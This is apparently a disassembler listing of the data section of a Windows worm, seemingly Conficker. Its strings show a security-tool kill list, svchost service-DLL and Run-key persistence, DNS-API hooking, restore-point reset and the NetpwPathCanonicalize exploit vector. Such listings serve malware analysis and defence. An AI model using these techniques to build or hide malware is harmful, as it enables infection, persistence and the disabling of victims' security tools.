loc_9A2559:				; CODE XREF: .text:loc_9A24E4j
					; .text:009A24E7j
		imul	esp, [ecx+74h],	7365h


loc_9A2560:				; DATA XREF: .text:009B80C4o
		arpl	[edi+6Dh], bp
		outsd
		outs	dx, dword ptr fs:[esi]
; ---------------------------------------------------------------------------
		dw 0
aClamav		db 'clamav',0           ; DATA XREF: .text:009B80C0o
		align 10h
aCentralcommand	db 'centralcommand',0   ; DATA XREF: .text:009B80BCo
		align 10h
aCcollomb	db 'ccollomb',0         ; DATA XREF: .text:009B80B8o
		align 4
byte_9A258C	db 63h,	61h		; DATA XREF: .text:009B80B4o
; ---------------------------------------------------------------------------


loc_9A258E:				; CODE XREF: .text:loc_9A2514j
		jnb	short loc_9A2604
		insb
		arpl	gs:[edi+70h], bp
		jnb	short $+2


loc_9A2597:				; DATA XREF: .text:009B80B0o
		add	[edx+6Fh], ah
		jz	short loc_9A2604
		jnz	short near ptr dword_9A260C
		jz	short near ptr loc_9A2604+1
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
aAvira		db 'avira',0            ; DATA XREF: .text:009B80ACo
		align 4
aAvgate		db 'avgate',0           ; DATA XREF: .text:009B80A8o
		align 4
aAvast		db 'avast',0            ; DATA XREF: .text:009B80A4o
		align 4
aArcabit	db 'arcabit',0          ; DATA XREF: .text:009B80A0o
aAntivir	db 'antivir',0          ; DATA XREF: .text:009B809Co
aAnti		db 'anti-',0            ; DATA XREF: .text:009B8098o
		align 4
aAhnlab		db 'ahnlab',0           ; DATA XREF: .text:009B8094o
		align 4
aAgnitum	db 'agnitum',0          ; DATA XREF: .text:off_9B8090o
aWireshark	db 'wireshark',0        ; DATA XREF: .text:009B8088o
		align 10h
aUnlocker	db 'unlocker',0         ; DATA XREF: .text:009B8084o
		align 4
aTcpview	db 'tcpview',0          ; DATA XREF: .text:009B8080o
; ---------------------------------------------------------------------------


loc_9A2604:				; CODE XREF: .text:loc_9A258Ej
					; .text:009A259Aj ...
		jnb	short loc_9A267F
		jnb	short loc_9A266B
		insb
		db	65h
		popa
		outsb
; ---------------------------------------------------------------------------
dword_9A260C	dd 0			; CODE XREF: .text:009A259Cj
aScct_		db 'scct_',0            ; DATA XREF: .text:009B8078o
		align 4
aRegmon		db 'regmon',0           ; DATA XREF: .text:009B8074o
		align 10h
aProcmon	db 'procmon',0          ; DATA XREF: .text:009B8070o
aProcexp	db 'procexp',0          ; DATA XREF: .text:009B806Co
aMs0806		db 'ms08-06',0          ; DATA XREF: .text:009B8068o
aMrtstub	db 'mrtstub',0          ; DATA XREF: .text:009B8064o
aMrt_		db 'mrt.',0             ; DATA XREF: .text:009B8060o
		align 4
aMbsa_		db 'mbsa.',0            ; DATA XREF: .text:009B805Co
		align 10h
aKlwk		db 'klwk',0             ; DATA XREF: .text:009B8058o
		align 4
aKido		db 'kido',0             ; DATA XREF: .text:009B8054o
					; .text:009B8134o
		align 10h
aKb958		db 'kb958',0            ; DATA XREF: .text:009B8050o
		align 4
byte_9A2668	db 6Bh,	62h, 38h	; DATA XREF: .text:009B804Co
; ---------------------------------------------------------------------------


loc_9A266B:				; CODE XREF: .text:009A2606j
		cmp	[eax], esi
; ---------------------------------------------------------------------------
		db 3 dup(0)
aHotfix		db 'hotfix',0           ; DATA XREF: .text:009B8048o
		align 4
aGmer		db 'gmer',0             ; DATA XREF: .text:009B8044o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_9A267F:				; CODE XREF: .text:loc_9A2604j
					; DATA XREF: .text:009B8040o
		add	[esi+69h], ah
		insb
		db	65h
		insd
		outsd
		outsb


loc_9A2687:				; DATA XREF: .text:009B803Co
					; .text:009B80DCo
		add	[edi+ebp*2+77h], ah
		outsb
		popa
		add	fs:[eax], al


loc_9A2690:				; DATA XREF: .text:009B8038o
		arpl	[edi+6Eh], bp


loc_9A2693:				; DATA XREF: .text:009B8034o
		imul	sp, [ebx+6Bh], 6100h
		jbe	short near ptr SubKey+40h
		outsb
		db	67h, 65h
		jb	near ptr 26A0h
; ---------------------------------------------------------------------------
aAutoruns	db 'autoruns',0         ; DATA XREF: .text:009B8030o
		align 10h
stru_9A26B0	_msEH <0FFFFFFFFh, offset loc_9A413C, offset loc_9A4140>
					; DATA XREF: sub_9A4074+5o
		align 10h
; const	WCHAR SubKey
SubKey:					; DATA XREF: sub_9A471B+21o
					; sub_9A471B:loc_9A48F1o
		unicode	0, <SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost>,0
		align 4
; wchar_t a_dll
a_dll:					; DATA XREF: sub_9A4157+23o
		unicode	0, <.dll>,0
		align 4
aSystemCurrentc:			; DATA XREF: sub_9A4207+13o
					; sub_9A4358+4Fo
		unicode	0, <SYSTEM\CurrentControlSet\Services\>,0
		align 10h
; const	WCHAR aServicedll
aServicedll:				; DATA XREF: sub_9A4358+182o
					; sub_9A7B42+254o
		unicode	0, <ServiceDll>,0
		align 4
aParameters:				; DATA XREF: sub_9A4358+61o
		unicode	0, <\Parameters>,0
stru_9A27B0	_msEH <0FFFFFFFFh, 0, offset nullsub_1>	; DATA XREF: sub_9A4358+5o
		align 10h
stru_9A27C0	_msEH <0FFFFFFFFh, 0, offset nullsub_2>	; DATA XREF: sub_9A471B+2o
		dd 0C08956A1h, 11D11CD3h, 8000C5B1h, 0E27C15Fh ; DATA XREF: sub_9A49B2+8Do
dword_9A27DC	dd 20404h, 0		; DATA XREF: sub_9A49B2+3Eo
					; sub_9A4E45+4Bo
		dd 0C0h, 46000000h
; IID stru_9A27EC
stru_9A27EC	dd 5C63C1ADh		; Data1	; DATA XREF: sub_9A4B7B+49o
		dw 3956h		; Data2
		dw 4FF8h		; Data3
		db 84h,	86h, 40h, 3, 47h, 58h, 31h, 5Bh; Data4
; IID stru_9A27FC
stru_9A27FC	dd 0C08956B7h		; Data1	; DATA XREF: sub_9A4B7B+41o
		dw 1CD3h		; Data2
		dw 11D1h		; Data3
		db 0B1h, 0C5h, 0, 80h, 5Fh, 0C1h, 27h, 0Eh; Data4
		align 10h
stru_9A2810	_msEH <0FFFFFFFFh, offset loc_9A4BED, offset loc_9A4BF1>
					; DATA XREF: sub_9A4B7B+2o
; IID rclsid
rclsid		dd 304CE942h		; Data1	; DATA XREF: sub_9A4C0F+34o
		dw 6E39h		; Data2
		dw 40D8h		; Data3
		db 94h,	3Ah, 0B9h, 13h,	0C4h, 0Ch, 9Ch,	0D4h; Data4
; IID riid
riid		dd 0F7898AF5h		; Data1	; DATA XREF: sub_9A4C0F+2Co
		dw 0CAC4h		; Data2
		dw 4632h		; Data3
		db 0A2h, 0ECh, 0DAh, 6,	0E5h, 11h, 1Ah,	0F2h; Data4
; IID stru_9A283C
stru_9A283C	dd 0CA545C6h		; Data1	; DATA XREF: sub_9A4D36+72o
		dw 37ADh		; Data2
		dw 4A6Ch		; Data3
		db 0BFh, 92h, 9Fh, 76h,	10h, 6,	7Eh, 0F5h; Data4
; IID stru_9A284C
stru_9A284C	dd 0E0483BA0h		; Data1	; DATA XREF: sub_9A4D36+6Ao
					; sub_9A4E45+94o
		dw 47FFh		; Data2
		dw 4D9Ch		; Data3
		db 0A6h, 0D6h, 77h, 41h, 0D0h, 0B1h, 95h, 0F7h;	Data4
; wchar_t aSS_0
aSS_0:					; DATA XREF: sub_9A5033+8Co
		unicode	0, <%S %S>,0
stru_9A2868	_msEH <0FFFFFFFFh, offset loc_9A5129, offset loc_9A512D>
					; DATA XREF: sub_9A5033+5o
		align 8
stru_9A2878	_msEH <0FFFFFFFFh, offset loc_9A5217, offset loc_9A521B>
					; DATA XREF: sub_9A514A+5o
; wchar_t a__
a__:					; DATA XREF: sub_9A52A3+1Do
		unicode	0, <\..\>,0
		align 10h
stru_9A2890	_msEH <0FFFFFFFFh, offset loc_9A52EA, offset loc_9A52EE>
					; DATA XREF: sub_9A52A3+2o
		align 10h
stru_9A28A0	_msEH <0FFFFFFFFh, offset loc_9A534D, offset loc_9A5351>
					; DATA XREF: sub_9A5331+2o
		align 10h
stru_9A28B0	_msEH <0FFFFFFFFh, offset loc_9A53D5, offset loc_9A53D9>
					; DATA XREF: sub_9A53AE+2o
		align 10h
stru_9A28C0	_msEH <0FFFFFFFFh, offset loc_9A54A0, offset loc_9A54A4>
					; DATA XREF: sub_9A5421+5o
		align 10h
stru_9A28D0	_msEH <0FFFFFFFFh, offset loc_9A554D, offset loc_9A5551>
					; DATA XREF: sub_9A54F9+5o
		align 10h
stru_9A28E0	_msEH <0FFFFFFFFh, offset loc_9A5602, offset loc_9A5606>
					; DATA XREF: sub_9A55A2+5o
		align 10h
stru_9A28F0	_msEH <0FFFFFFFFh, offset loc_9A5708, offset loc_9A570C>
					; DATA XREF: sub_9A5656+5o
		align 10h
stru_9A2900	_msEH <0FFFFFFFFh, 0, offset nullsub_3>	; DATA XREF: sub_9A5729+2o
		align 10h
stru_9A2910	_msEH <0FFFFFFFFh, offset loc_9A58A2, offset loc_9A58A6>
					; DATA XREF: sub_9A57C1+5o
		align 10h
stru_9A2920	_msEH <0FFFFFFFFh, offset loc_9A5A67, offset loc_9A5A6B>
					; DATA XREF: sub_9A5938+2o
; char dword_9A292C[]
dword_9A292C	dd 6174656Eh, 32336970h, 6C6C642Eh, 0 ;	DATA XREF: sub_9A5B0F+Bo
; char aNetpwpathcanon[]
aNetpwpathcanon	db 'NetpwPathCanonicalize',0 ; DATA XREF: sub_9A5B0F+6o
		align 4
; char aNtdll_dll[]
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_9A5B2E+Bo
					; sub_9A642B+CBo ...
		align 10h
; char aNtqueryinforma[]
aNtqueryinforma	db 'NtQueryInformationProcess',0 ; DATA XREF: sub_9A5B2E+6o
					; sub_9A6678+8o ...
		align 4
; char aQuery_main[]
aQuery_main	db 'Query_Main',0       ; DATA XREF: sub_9A5B4D+52o
		align 4
; char aDnsquery_w[]
aDnsquery_w	db 'DnsQuery_W',0       ; DATA XREF: sub_9A5B4D+3Bo
		align 4
; char aDnsquery_utf8[]
aDnsquery_utf8	db 'DnsQuery_UTF8',0    ; DATA XREF: sub_9A5B4D+24o
		align 4
; char aDnsapi_dll[]
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_9A5B4D+Fo
		align 10h
; char aDnsquery_a[]
aDnsquery_a	db 'DnsQuery_A',0       ; DATA XREF: sub_9A5B4D+Ao
		align 4
; char aWs2_32_dll[]
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_9A5BCD+20o
		align 4
; char aSendto[]
aSendto		db 'sendto',0           ; DATA XREF: sub_9A5BCD+1Bo
		align 10h
; char ModuleName[]
ModuleName	db 'dnsrslvr.dll',0     ; DATA XREF: sub_9A5BCDo
		align 10h
; const	WCHAR aSvchost_exeKNe
aSvchost_exeKNe:			; DATA XREF: sub_9A5C01:loc_9A5C04o
		unicode	0, <svchost.exe	-k NetworkService>,0
; char aWininet_dll[]
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_9A5C69+Bo
; char aInternetgetc_0[]
aInternetgetc_0	db 'InternetGetConnectedState',0 ; DATA XREF: sub_9A5C69+6o
		align 4
; char aKernel32_dll[]
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_9A5EC7+36o
					; sub_9A642B+6Do ...
		align 8
stru_9A2A58	_msEH <0FFFFFFFFh, offset loc_9A6379, offset loc_9A637D>
					; DATA XREF: sub_9A62C0+2o
; char aLoadlibraryexa[]
aLoadlibraryexa	db 'LoadLibraryExA',0   ; DATA XREF: sub_9A642B:loc_9A6520o
		align 4
; char aNtqueueapcthre[]
aNtqueueapcthre	db 'NtQueueApcThread',0 ; DATA XREF: sub_9A642B:loc_9A64F1o
		align 4
; char ProcName[]
ProcName	db 'LoadLibraryA',0     ; DATA XREF: sub_9A642B+68o
		align 4
; char aNtsetinformati[]
aNtsetinformati	db 'NtSetInformationProcess',0 ; DATA XREF: sub_9A67C6+24o
stru_9A2AB0	_msEH <0FFFFFFFFh, offset loc_9A69E5, offset loc_9A69E9>
					; DATA XREF: sub_9A68CA+2o
		align 10h
stru_9A2AC0	_msEH <0FFFFFFFFh, offset loc_9A6CBB, offset loc_9A6CBF>
					; DATA XREF: sub_9A6BEB+2o
; char aSetakeownershi[]
aSetakeownershi	db 'SeTakeOwnershipPrivilege',0 ; DATA XREF: sub_9A6E36+4o
		align 4
stru_9A2AE8	_msEH <0FFFFFFFFh, 0, offset sub_9A6F78> ; DATA	XREF: sub_9A6E7C+2o
; wchar_t aSS
aSS:					; DATA XREF: sub_9A6F7B+64o
		unicode	0, <%s\%s>,0
aUsers:					; DATA XREF: sub_9A6F7B+3Eo
		unicode	0, <USERS>,0
aMachine:				; DATA XREF: sub_9A6F7B+30o
		unicode	0, <MACHINE>,0
aCurrent_user:				; DATA XREF: sub_9A6F7B+22o
		unicode	0, <CURRENT_USER>,0
		align 4
aClasses_root:				; DATA XREF: sub_9A6F7B+14o
		unicode	0, <CLASSES_ROOT>,0
		align 8
stru_9A2B58	_msEH <0FFFFFFFFh, 0, offset nullsub_5>	; DATA XREF: sub_9A7177+2o
; char PrefixString[]
PrefixString	db '0',0                ; DATA XREF: sub_9A7214+4Ao
		align 4
aPolicy:				; DATA XREF: .text:009B8344o
		unicode	0, <Policy>,0
		align 4
aDiscovery:				; DATA XREF: .text:009B8340o
		unicode	0, <Discovery>,0
aStorage:				; DATA XREF: .text:009B833Co
		unicode	0, <Storage>,0
aPower:					; DATA XREF: .text:009B8338o
		unicode	0, <Power>,0
aLogon:					; DATA XREF: .text:009B8334o
		unicode	0, <Logon>,0
aMachine_0:				; DATA XREF: .text:009B8330o
		unicode	0, <Machine>,0
aBrowser:				; DATA XREF: .text:009B832Co
		unicode	0, <Browser>,0
aManagement:				; DATA XREF: .text:009B8328o
		unicode	0, <Management>,0
		align 4
aFramework:				; DATA XREF: .text:009B8324o
		unicode	0, <Framework>,0
aComponent:				; DATA XREF: .text:009B8320o
		unicode	0, <Component>,0
aTrusted:				; DATA XREF: .text:009B831Co
		unicode	0, <Trusted>,0
aBackup:				; DATA XREF: .text:009B8318o
		unicode	0, <Backup>,0
		align 4
aNotify:				; DATA XREF: .text:009B8314o
		unicode	0, <Notify>,0
		align 4
aAudit:					; DATA XREF: .text:009B830Co
		unicode	0, <Audit>,0
aControl:				; DATA XREF: .text:009B8308o
		unicode	0, <Control>,0
aHardware:				; DATA XREF: .text:009B8304o
		unicode	0, <Hardware>,0
		align 4
aWindows:				; DATA XREF: .text:009B8300o
		unicode	0, <Windows>,0
aUpdate:				; DATA XREF: .text:009B82FCo
		unicode	0, <Update>,0
		align 4
aUniversal:				; DATA XREF: .text:009B82F8o
		unicode	0, <Universal>,0
aTask:					; DATA XREF: .text:009B82F0o
		unicode	0, <Task>,0
		align 4
aSupport:				; DATA XREF: .text:009B82E8o
		unicode	0, <Support>,0
aShell:					; DATA XREF: .text:009B82E4o
		unicode	0, <Shell>,0
aSecurity:				; DATA XREF: .text:009B82DCo
		unicode	0, <Security>,0
		align 4
aNetwork:				; DATA XREF: .text:009B82D8o
		unicode	0, <Network>,0
aMonitor:				; DATA XREF: .text:009B82D4o
		unicode	0, <Monitor>,0
aMicrosoft:				; DATA XREF: .text:009B82D0o
		unicode	0, <Microsoft>,0
aManager:				; DATA XREF: .text:009B82CCo
		unicode	0, <Manager>,0
aInstaller:				; DATA XREF: .text:009B82C8o
		unicode	0, <Installer>,0
aImage:					; DATA XREF: .text:009B82C4o
		unicode	0, <Image>,0
aHelper:				; DATA XREF: .text:009B82C0o
		unicode	0, <Helper>,0
		align 4
aDriver:				; DATA XREF: .text:009B82BCo
		unicode	0, <Driver>,0
		align 4
aConfig:				; DATA XREF: .text:009B82B8o
		unicode	0, <Config>,0
		align 4
aCenter:				; DATA XREF: .text:009B82B4o
		unicode	0, <Center>,0
		align 4
aBoot:					; DATA XREF: .text:009B82B0o
		unicode	0, <Boot>,0
		align 4
aTime_0:				; DATA XREF: .text:009B82A8o
					; .text:009B82F4o
		unicode	0, <Time>,0
		align 10h
aSystem:				; DATA XREF: .text:009B82A4o
					; .text:009B82ECo
		unicode	0, <System>,0
		align 10h
aSvc:					; DATA XREF: .text:009B82A0o
		unicode	0, <svc>,0
aSvc_0:					; DATA XREF: .text:009B829Co
		unicode	0, <Svc>,0
aSrv:					; DATA XREF: .text:009B8298o
		unicode	0, <srv>,0
aSrv_0:					; DATA XREF: .text:009B8294o
		unicode	0, <Srv>,0
aService:				; DATA XREF: .text:009B8290o
		unicode	0, <Service>,0
aServer:				; DATA XREF: .text:009B828Co
					; .text:009B82E0o
		unicode	0, <Server>,0
		align 10h
aServ_0:				; DATA XREF: .text:009B8288o
		unicode	0, <serv>,0
		align 4
aProv:					; DATA XREF: .text:009B8284o
		unicode	0, <prov>,0
		align 4
aMon:					; DATA XREF: .text:009B8280o
		unicode	0, <mon>,0
aMgmt:					; DATA XREF: .text:009B827Co
		unicode	0, <mgmt>,0
		align 4
aMan:					; DATA XREF: .text:009B8278o
		unicode	0, <man>,0
aLogon_0:				; DATA XREF: .text:009B8274o
		unicode	0, <logon>,0
aAuto:					; DATA XREF: .text:009B8270o
		unicode	0, <auto>,0
		align 4
aAgent:					; DATA XREF: .text:009B826Co
		unicode	0, <agent>,0
aAccess:				; DATA XREF: .text:009B8268o
		unicode	0, <access>,0
		align 4
aXml:					; DATA XREF: .text:009B8264o
		unicode	0, <xml>,0
aWuau:					; DATA XREF: .text:009B8260o
		unicode	0, <wuau>,0
		align 4
aWsc:					; DATA XREF: .text:009B825Co
		unicode	0, <wsc>,0
aWmi:					; DATA XREF: .text:009B8258o
		unicode	0, <Wmi>,0
aWmdm:					; DATA XREF: .text:009B8254o
		unicode	0, <Wmdm>,0
		align 4
aWin:					; DATA XREF: .text:009B8250o
		unicode	0, <win>,0
aW32:					; DATA XREF: .text:009B824Co
		unicode	0, <W32>,0
aTrk:					; DATA XREF: .text:009B8248o
		unicode	0, <Trk>,0
aTapi:					; DATA XREF: .text:009B8244o
		unicode	0, <Tapi>,0
		align 4
aSr:					; DATA XREF: .text:009B8240o
		unicode	0, <SR>,0
		align 4
aSec:					; DATA XREF: .text:009B823Co
		unicode	0, <Sec>,0
aRemote:				; DATA XREF: .text:009B8238o
		unicode	0, <Remote>,0
		align 4
aRas:					; DATA XREF: .text:009B8234o
		unicode	0, <Ras>,0
aNtms:					; DATA XREF: .text:009B8230o
		unicode	0, <Ntms>,0
		align 10h
aNet:					; DATA XREF: .text:009B822Co
		unicode	0, <Net>,0
aLanman:				; DATA XREF: .text:009B8228o
		unicode	0, <Lanman>,0
		align 4
aIr:					; DATA XREF: .text:009B8224o
		unicode	0, <Ir>,0
		align 10h
aIas:					; DATA XREF: .text:009B8220o
		unicode	0, <Ias>,0
aHelp:					; DATA XREF: .text:009B821Co
		unicode	0, <help>,0
		align 4
aEvent:					; DATA XREF: .text:009B8218o
					; .text:009B8310o
		unicode	0, <Event>,0
aEr:					; DATA XREF: .text:009B8214o
		unicode	0, <ER>,0
		align 4
aDm:					; DATA XREF: .text:009B8210o
		unicode	0, <DM>,0
		align 10h
aAudio:					; DATA XREF: .text:009B820Co
		unicode	0, <Audio>,0
aApp:					; DATA XREF: .text:009B8208o
		unicode	0, <App>,0
; char aResetsr[]
aResetsr	db 'ResetSR',0          ; DATA XREF: sub_9A731F+22o
; char LibFileName[]
LibFileName	db 'srclient.dll',0     ; DATA XREF: sub_9A731F+Co
		align 10h
stru_9A2F60	_msEH <0FFFFFFFFh, offset loc_9A735A, offset loc_9A735E>
					; DATA XREF: sub_9A731F+2o
; wchar_t Str
Str		dw 0			; DATA XREF: sub_9A7374+2A8o
		align 10h
dword_9A2F70	dd 0FFFFFFFFh, 9A7605h,	9A7609h, 0 ; DATA XREF:	sub_9A7374+5o
aSoftwareMicr_0:			; DATA XREF: sub_9A7641+35o
		unicode	0, <SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost>,0
		align 10h
stru_9A2FF0	_msEH <0FFFFFFFFh, offset loc_9A7AF8, offset loc_9A7AFC>
					; DATA XREF: sub_9A7641+5o
; const	WCHAR aParameters_0
aParameters_0:				; DATA XREF: sub_9A7B42+231o
		unicode	0, <Parameters>,0
		align 4
; const	WCHAR aDescription
aDescription:				; DATA XREF: sub_9A7B42+219o
		unicode	0, <Description>,0
; const	WCHAR aObjectname
aObjectname:				; DATA XREF: sub_9A7B42+1FEo
		unicode	0, <ObjectName>,0
		align 4
; BYTE Data
Data:					; DATA XREF: sub_9A7B42+1F6o
		unicode	0, <LocalSystem>,0
; const	WCHAR aImagepath
aImagepath:				; DATA XREF: sub_9A7B42+1EAo
		unicode	0, <ImagePath>,0
; const	WCHAR aErrorcontrol
aErrorcontrol:				; DATA XREF: sub_9A7B42+1CCo
		unicode	0, <ErrorControl>,0
		align 4
; const	WCHAR aStart
aStart:					; DATA XREF: sub_9A7B42+1B2o
		unicode	0, <Start>,0
; const	WCHAR aType
aType:					; DATA XREF: sub_9A7B42+198o
		unicode	0, <Type>,0
		align 4
; const	WCHAR ValueName
ValueName:				; DATA XREF: sub_9A7B42+185o
		unicode	0, <DisplayName>,0
; wchar_t asc_9A30BC
asc_9A30BC:				; DATA XREF: sub_9A7B42+D1o
		unicode	0, <\>,0
aSystemCurren_0:			; DATA XREF: sub_9A7B42+B4o
		unicode	0, <SYSTEM\CurrentControlSet\Services>,0
		align 8
aSystemrootSyst:			; DATA XREF: sub_9A7B42+47o
		unicode	0, <%SystemRoot%\system32\svchost.exe -k >,0
		align 8
; const	WCHAR aSoftwareMicr_1
aSoftwareMicr_1:			; DATA XREF: sub_9A7E0F+1E8o
		unicode	0, <Software\Microsoft\Windows\CurrentVersion\Run>,0
; wchar_t aRundll32_exeSS
aRundll32_exeSS:			; DATA XREF: sub_9A7E0F+1BDo
		unicode	0, <rundll32.exe "%s",%S>,0
		align 10h
; wchar_t asc_9A31E0
asc_9A31E0:				; DATA XREF: sub_9A7E0F+F9o
		unicode	0, < >,0
aVn		db 'vn',0               ; DATA XREF: .text:009B876Co
		align 4
aVc		db 'vc',0               ; DATA XREF: .text:009B8768o
		align 4
aUs		db 'us',0               ; DATA XREF: .text:009B8764o
		align 10h
aTw		db 'tw',0               ; DATA XREF: .text:009B8760o
		align 4
aTo		db 'to',0               ; DATA XREF: .text:009B875Co
		align 4
aTn		db 'tn',0               ; DATA XREF: .text:009B8758o
		align 4
aTl		db 'tl',0               ; DATA XREF: .text:009B8754o
		align 10h
aTj		db 'tj',0               ; DATA XREF: .text:009B8750o
		align 4
aTc		db 'tc',0               ; DATA XREF: .text:009B874Co
		align 4
aSu		db 'su',0               ; DATA XREF: .text:009B8748o
		align 4
aSk		db 'sk',0               ; DATA XREF: .text:009B8744o
		align 10h
aSh		db 'sh',0               ; DATA XREF: .text:009B8740o
		align 4
aSg		db 'sg',0               ; DATA XREF: .text:009B873Co
		align 4
aSc		db 'sc',0               ; DATA XREF: .text:009B8738o
		align 4
aRu		db 'ru',0               ; DATA XREF: .text:009B8734o
		align 10h
aRo		db 'ro',0               ; DATA XREF: .text:009B8730o
		align 4
aPs		db 'ps',0               ; DATA XREF: .text:009B872Co
		align 4
aPl		db 'pl',0               ; DATA XREF: .text:009B8728o
		align 4
aPk		db 'pk',0               ; DATA XREF: .text:009B8724o
		align 10h
aPe		db 'pe',0               ; DATA XREF: .text:009B8720o
		align 4
aNo		db 'no',0               ; DATA XREF: .text:009B871Co
		align 4
aNl		db 'nl',0               ; DATA XREF: .text:009B8718o
		align 4
aNf		db 'nf',0               ; DATA XREF: .text:009B8714o
		align 10h
aMy		db 'my',0               ; DATA XREF: .text:009B8710o
		align 4
aMw		db 'mw',0               ; DATA XREF: .text:009B870Co
		align 4
aMu		db 'mu',0               ; DATA XREF: .text:009B8708o
		align 4
aMs		db 'ms',0               ; DATA XREF: .text:009B8704o
		align 10h
aMn		db 'mn',0               ; DATA XREF: .text:009B8700o
		align 4
aMe		db 'me',0               ; DATA XREF: .text:009B86FCo
		align 4
aMd		db 'md',0               ; DATA XREF: .text:009B86F8o
		align 4
aLy		db 'ly',0               ; DATA XREF: .text:009B86F4o
		align 10h
aLv		db 'lv',0               ; DATA XREF: .text:009B86F0o
		align 4
aLu		db 'lu',0               ; DATA XREF: .text:009B86ECo
		align 4
aLi		db 'li',0               ; DATA XREF: .text:009B86E8o
		align 4
aLc		db 'lc',0               ; DATA XREF: .text:009B86E4o
		align 10h
aLa		db 'la',0               ; DATA XREF: .text:009B86E0o
		align 4
aKz		db 'kz',0               ; DATA XREF: .text:009B86DCo
		align 4
aKn		db 'kn',0               ; DATA XREF: .text:009B86D8o
		align 4
aIs		db 'is',0               ; DATA XREF: .text:009B86D4o
		align 10h
aIr_0		db 'ir',0               ; DATA XREF: .text:009B86D0o
		align 4
aIn		db 'in',0               ; DATA XREF: .text:009B86CCo
		align 4
aIm		db 'im',0               ; DATA XREF: .text:009B86C8o
		align 4
aIe		db 'ie',0               ; DATA XREF: .text:009B86C4o
		align 10h
aHu		db 'hu',0               ; DATA XREF: .text:009B86C0o
		align 4
aHt		db 'ht',0               ; DATA XREF: .text:009B86BCo
		align 4
aHn		db 'hn',0               ; DATA XREF: .text:009B86B8o
		align 4
aHk		db 'hk',0               ; DATA XREF: .text:009B86B4o
		align 10h
aGy		db 'gy',0               ; DATA XREF: .text:009B86B0o
		align 4
aGs		db 'gs',0               ; DATA XREF: .text:009B86ACo
		align 4
aGr		db 'gr',0               ; DATA XREF: .text:009B86A8o
		align 4
aGd		db 'gd',0               ; DATA XREF: .text:009B86A4o
		align 10h
aFr		db 'fr',0               ; DATA XREF: .text:009B86A0o
		align 4
aFm		db 'fm',0               ; DATA XREF: .text:009B869Co
		align 4
aEs		db 'es',0               ; DATA XREF: .text:009B8698o
		align 4
aEc		db 'ec',0               ; DATA XREF: .text:009B8694o
		align 10h
aDm_0		db 'dm',0               ; DATA XREF: .text:009B8690o
		align 4
aDk		db 'dk',0               ; DATA XREF: .text:009B868Co
		align 4
aDj		db 'dj',0               ; DATA XREF: .text:009B8688o
		align 4
aCz		db 'cz',0               ; DATA XREF: .text:009B8684o
		align 10h
aCx		db 'cx',0               ; DATA XREF: .text:009B8680o
		align 4
aCom_ve		db 'com.ve',0           ; DATA XREF: .text:009B867Co
		align 4
aCom_uy		db 'com.uy',0           ; DATA XREF: .text:009B8678o
		align 4
aCom_ua		db 'com.ua',0           ; DATA XREF: .text:009B8674o
		align 4
aCom_tw		db 'com.tw',0           ; DATA XREF: .text:009B8670o
		align 4
aCom_tt		db 'com.tt',0           ; DATA XREF: .text:009B866Co
		align 4
aCom_tr		db 'com.tr',0           ; DATA XREF: .text:009B8668o
		align 4
aCom_sv		db 'com.sv',0           ; DATA XREF: .text:009B8664o
		align 4
aCom_py		db 'com.py',0           ; DATA XREF: .text:009B8660o
		align 4
aCom_pt		db 'com.pt',0           ; DATA XREF: .text:009B865Co
		align 4
aCom_pr		db 'com.pr',0           ; DATA XREF: .text:009B8658o
		align 4
aCom_pe		db 'com.pe',0           ; DATA XREF: .text:009B8654o
		align 4
aCom_pa		db 'com.pa',0           ; DATA XREF: .text:009B8650o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: .text:009B864Co
		align 4
aCom_ng		db 'com.ng',0           ; DATA XREF: .text:009B8648o
		align 4
aCom_mx		db 'com.mx',0           ; DATA XREF: .text:009B8644o
		align 4
aCom_mt		db 'com.mt',0           ; DATA XREF: .text:009B8640o
		align 4
aCom_lc		db 'com.lc',0           ; DATA XREF: .text:009B863Co
		align 4
aCom_ki		db 'com.ki',0           ; DATA XREF: .text:009B8638o
		align 4
aCom_jm		db 'com.jm',0           ; DATA XREF: .text:009B8634o
		align 4
aCom_hn		db 'com.hn',0           ; DATA XREF: .text:009B8630o
		align 4
aCom_gt		db 'com.gt',0           ; DATA XREF: .text:009B862Co
		align 4
aCom_gl		db 'com.gl',0           ; DATA XREF: .text:009B8628o
		align 4
aCom_gh		db 'com.gh',0           ; DATA XREF: .text:009B8624o
		align 4
aCom_fj		db 'com.fj',0           ; DATA XREF: .text:009B8620o
		align 4
aCom_do		db 'com.do',0           ; DATA XREF: .text:009B861Co
		align 4
aCom_co		db 'com.co',0           ; DATA XREF: .text:009B8618o
		align 4
aCom_bs		db 'com.bs',0           ; DATA XREF: .text:009B8614o
		align 4
aCom_br		db 'com.br',0           ; DATA XREF: .text:009B8610o
		align 4
aCom_bo		db 'com.bo',0           ; DATA XREF: .text:009B860Co
		align 4
aCom_ar		db 'com.ar',0           ; DATA XREF: .text:009B8608o
		align 4
aCom_ai		db 'com.ai',0           ; DATA XREF: .text:009B8604o
		align 4
aCom_ag		db 'com.ag',0           ; DATA XREF: .text:009B8600o
		align 4
aCo_za		db 'co.za',0            ; DATA XREF: .text:009B85FCo
		align 4
aCo_vi		db 'co.vi',0            ; DATA XREF: .text:009B85F8o
		align 4
aCo_uk		db 'co.uk',0            ; DATA XREF: .text:009B85F4o
		align 4
aCo_ug		db 'co.ug',0            ; DATA XREF: .text:009B85F0o
		align 4
aCo_nz		db 'co.nz',0            ; DATA XREF: .text:009B85ECo
		align 4
aCo_kr		db 'co.kr',0            ; DATA XREF: .text:009B85E8o
		align 4
aCo_ke		db 'co.ke',0            ; DATA XREF: .text:009B85E4o
		align 4
aCo_il		db 'co.il',0            ; DATA XREF: .text:009B85E0o
		align 4
aCo_id		db 'co.id',0            ; DATA XREF: .text:009B85DCo
		align 4
aCo_cr		db 'co.cr',0            ; DATA XREF: .text:009B85D8o
		align 4
aCn		db 'cn',0               ; DATA XREF: .text:009B85D4o
		align 4
aCl		db 'cl',0               ; DATA XREF: .text:009B85D0o
		align 4
